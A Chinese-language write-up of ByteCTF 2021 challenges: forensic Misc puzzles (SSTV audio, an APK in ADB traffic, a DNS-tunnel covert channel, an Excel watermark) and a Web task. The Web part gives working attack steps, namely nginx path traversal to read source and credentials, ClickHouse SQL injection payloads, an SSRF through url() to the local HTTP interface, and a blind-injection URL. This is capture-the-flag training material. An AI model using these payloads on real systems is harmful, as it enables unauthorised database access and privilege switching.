ByteCTF 2021

Misc

HearingNotBelieving

Hearing is not believing

将附件的音频使用 Audition 打开可以在其前面发现分割的二维码。

将二维码合成处理可以得到如下二维码。

扫描二维码可得如下内容。

1
m4yB3_

将音频后面的内容使用 RX-SSTV 进行接受可得 16 张图片。将图片按照顺序 4*4 拼接即可得到如下图片。

将二维码复原可得如下二维码。

扫描二维码可得如下内容。

1
U_kn0W_S57V}

将得到的两部分 flag 拼合即可得到完整的 flag。

1
ByteCTF{m4yB3_U_kn0W_S57V}

BabyShark

使用 WireShark 进行流量分析,在 TCP 流 0 处可以发现调试桥的流量。从中可以提取出一个 apk 文件。

提取出的安装包可以使用 jadx-gui 进行反编译,可以发现其 MainActivity 中包含如下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.bytectf.misc1;

import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.StrictMode;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;

public class MainActivity extends AppCompatActivity {
/* access modifiers changed from: protected */
@Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.fragment.app.FragmentActivity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (Build.VERSION.SDK_INT > 9) {
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
}
AesUtil.decrypt(getAESKey(getPBResp(), loadPBClass(getPBClass()).getMethods()[37]), "8939AA47D35006FB2B5FBDB9A810B25294B5D4D76E4204D33BA01F7B3F9D99B1");
}

public Class loadPBClass(String jarFilePath) {
try {
return new DexClassLoader(new File(jarFilePath).getAbsolutePath(), getDir("dex", 0).getAbsolutePath(), null, getClassLoader()).loadClass("com.bytectf.misc1.KeyPB").getClasses()[0];
} catch (Exception e) {
e.printStackTrace();
return null;
}
}

public String getPBClass() {
if (ActivityCompat.checkSelfPermission(this, "android.permission.READ_EXTERNAL_STORAGE") != 0) {
ActivityCompat.requestPermissions(this, new String[]{"android.permission.READ_EXTERNAL_STORAGE"}, 1);
return HttpUrl.FRAGMENT_ENCODE_SET;
} else if (ActivityCompat.checkSelfPermission(this, "android.permission.WRITE_EXTERNAL_STORAGE") != 0) {
ActivityCompat.requestPermissions(this, new String[]{"android.permission.WRITE_EXTERNAL_STORAGE"}, 1);
return HttpUrl.FRAGMENT_ENCODE_SET;
} else if (Environment.getExternalStorageState().equals("mounted")) {
return Environment.getExternalStorageDirectory().getAbsolutePath() + "/PBClass.dex";
} else {
return HttpUrl.FRAGMENT_ENCODE_SET;
}
}

public long getAESKey(byte[] pb_bytes, Method parseFrom) {
try {
Object respObj = parseFrom.invoke(null, pb_bytes);
return ((Long) respObj.getClass().getMethod("getKey", new Class[0]).invoke(respObj, new Object[0])).longValue();
} catch (Exception e) {
e.printStackTrace();
return -1;
}
}

public byte[] getPBResp() {
byte[] pb_res = new byte[0];
try {
return new OkHttpClient().newCall(new Request.Builder().url("http://192.168.2.247:5000/api").build()).execute().body().bytes();
} catch (IOException e) {
e.printStackTrace();
return pb_res;
}
}
}

其中针对一个 dex 进行了动态加载,但是这里并没有给出这个 dex 文件。在 onCreate 中使用到了这个 dex 文件中的类进行反射来获取密钥。而 getPBResp 方法中与后端的 API 进行了交互,因此在流量包中找到对应的响应。

可以发现响应的是一段二进制数据,这里需要脑洞一下,PBResp 实际上就是 ProtoBufResponse 的缩略写法。将如下响应数据使用 ProtoBuf 解码。

1
08 8b b7 bd f5 db d5 37 11 a1 f8 31 e6 d6 1c c8 40
1
2
From_Hex('Auto')
Protobuf_Decode('',true,true)
1
2
3
4
{
"field #1: VarInt (e.g. int32, bool)": 244837809871755,
"field #2: 64-Bit (e.g. fixed64, double)": 4668012723080133000
}

将反编译得到的 AesUtils 分离出来写出如下代码调用来解密 AES。

1
2
3
4
5
6
7
8
package com.bytectf.misc1;

public class main {
public static void main(String[] args) {
String text = AesUtil.decrypt(244837809871755L, "8939AA47D35006FB2B5FBDB9A810B25294B5D4D76E4204D33BA01F7B3F9D99B1");
System.out.println(text);
}
}

运行上述代码即可得出 flag。

1
ByteCTF{[email protected]}

frequently

Someone wants to send secret information through a surreptitious channel. Could you intercept their communications?

DNS Protocol Tunnel

使用 WireShark 对流量包进行分析,可以发现大量的 xxxxxx.bytedanec.net 的 DNS 查询请求,将其域名的第一段分离出来,使用 Base64 进行解码可以得到如下图片。

接着分析剩余的 DNS 请求,可以发现其中的 i 和 o 遵循着某种规律。将其提取出来并使用如下 CyberChef Receipt 处理,可以得到如下信息。

1
2
3
4
5
Find_/_Replace({'option':'Regex','string':'i\\n'},'1',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'o\\n'},'0',true,false,true,false)
Find_/_Replace({'option':'Regex','string':' '},'',true,false,true,false)
From_Binary('Space',8)
The first part of flag: ByteCTF{^_^enJ0y&y0u9

DHCP Protocol IP Address Lease Time

在流量包中可以发现 DHCP 包,将 ACK 中包含的 IP Address Lease Time 提取出来可以得到后一半 flag。

1
se1f_wIth_m1sc^_^}

将两半 flag 拼合即可得到 flag。

1
ByteCTF{^_^enJ0y&y0u9se1f_wIth_m1sc^_^}

Lost Excel

Please find out who leaked this document asap

在给出的表格文件的 media 中可以得到一张图片。使用 StegSolve 可以在 Red plane 0 下得到另一张图。

这里又要脑洞一下,每四个像素块作为一个点,以黑点的顺序代表 0/1/2/3,最终达成四进制。

参考 W&M 的 Write Up 写出了如下代码来获取 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
from PIL import Image
from Crypto.Util import number

image = Image.open("solved.png").convert("P")
width, height = image.size

result = ""
for y in range(0, height - 7, 8):
for x in range(0, width - 7, 8):
data = [image.getpixel((x, y)), image.getpixel((x + 4, y)), image.getpixel((x, y + 4)), image.getpixel((x + 4, y + 4))]
if 1 in data:
result += str(data.index(1))
print(number.long_to_bytes(int(result, 4)))

运行脚本可以得到如下信息。

1
b"\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFV\xe5t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xc3\x1aY\x19\x19[\x95\[email protected]\x10\x9e]\x19P\xd5\x11\x9d0\x1e\x18\xd9[\x12\x1aY\x19\x19[\x95\[email protected]\x10\x9eULP\xd5\x11\x9e\xd1^\x18\xd9[\x12\x1aY\x19\x19[\x95\xd1\[email protected]\x10\x9e]\x19P\xd5\x11\x9e\xd1^\x18\xd9[\x12\x1a\\\x10\x19[\x95\[email protected]\x10\x9e]\x19P\xd5\x11\x9e\xd1^\x00\x11[\x12\x1aY\x19\x19[\x95\[email protected]\x10\x9e]\x19P\\F{ExcelHiddenWM}\x00\xe7\x97FT5Dg\xb4W\x866V\xc4\x86\x96FFe\x11t\xd7\xd0\x04'\x97FT5Dg\xb4W\x866V\xe1\x06\x96FFV\xe5t\xd7\xd0\x04'\x97FT5D`\x15^\x18\xd9[\x12\x1aY\x19\x19[\x95\[email protected]\x10\x9ez\x19P\xd5\x11\x9e\xd1^\x18\xd9[\x12\x1aY\x19\x19[\x95\xd3P\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF{ExcelHiddenWM}\x00ByteCTF"

在其中可以得到 flag。

1
ByteCTF{ExcelHiddenWM}

Web

Double sqli

目录穿越读源码

直接访问到 / 路由时可以得到一张图片的超链接,观察到其路由中有 /files 且使用的后端 server 是 nginx/1.21.1,尝试使用目录穿越去读取文件。构造 files../app/main.py 可以读出如下源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from flask import Flask
import clickhouse_driver
from flask import request
app = Flask(__name__)

client = clickhouse_driver.Client(host='127.0.0.1', port='9000', database='default', user='user_02', password='e4649b934ca495991b78')

@app.route('/')
def cttttf():
id = request.args.get('id',0)
sql = 'select ByteCTF from hello where 1={} '.format(id)
try:
a = client.execute(sql)
except Exception as e:
return str(e)
if len(a) == 0:
return '<a href="/files/test.jpg">something in files</a>'
else:
return str(a)[3:-4]

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=80)

其中可以发现使用的数据库是 ClickHouse 及程序中使用的语句逻辑,还有 user_02/e4649b934ca495991b78 这对用户名密码。除此之外在 ClickHouse 的目录下的 /var/lib/clickhouse/access/3349ea06-b1c1-514f-e1e9-c8d6e8080f89.sql 中可以发现如下语句。

1
2
ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;

可以发现用户 user_01 拥有 ctf.* 的权限,因此尝试注入。

ClickHouse 注入

使用如下载荷可以在报错中得到库名 ctf 和 default。

1
0||(select name from system.databases limit 0,1)

使用如下载荷可以在报错中得到表名 hint 和 hello。

1
0||(select * from system.tables limit 0,1)

使用如下载荷尝试读取用户可以发现权限不足报出的如下信息。

1
2
0||(select name from system.users limit 0,1)
DB::Exception: user_02: Not enough privileges.

因此得以确定目前的用户是 user_02,且需要切换到拥有权限的 user_01。此时需要用到 ClickHouse 的 HTTP Interface,在其文档中存在如下描述,因此可知默认端口是 8123。

The HTTP interface lets you use ClickHouse on any platform from any programming language. We use it for working from Java and Perl, as well as shell scripts. In other departments, the HTTP interface is used from Perl, Python, and Go. The HTTP interface is more limited than the native interface, but it has better compatibility.

By default, clickhouse-server listens for HTTP on port 8123 (this can be changed in the config).

同时在 Table Functions 中可以发现如下使用 url 进行的操作办法。

https://clickhouse.com/docs/en/sql-reference/table-functions/url/

二者配合起来构造如下载荷,使用 user_01 去查询列,可以发现列 flag。

1
0||(select * from url('http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520name%2520from%2520system.columns%2520limit%25200,1', CSV, 'column1 String'))

根据上文发现的 SQL 文件可知 flag 列位于 ctf 表中,因此构造出如下载荷来获取 flag。

1
2
0||(select * from url('http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520*%2520from%2520ctf.flag', CSV, 'column1 String'))
ByteCTF{e3b0c44298fc1c149afbf4c8}
一种盲注的思路
1
http://39.105.175.150:30001/?id=0 OR startsWith((extractAll(((select * from system.databases limit 1,1).2), '.')[0]),'2')

extractAll(str, ‘.’) 可以将字符串逐位分割,同时数组可以使用 [0] 进行访问而元组可以使用 .0 的方式访问。使用 startsWith 配合字符串可以进行逐位爆破。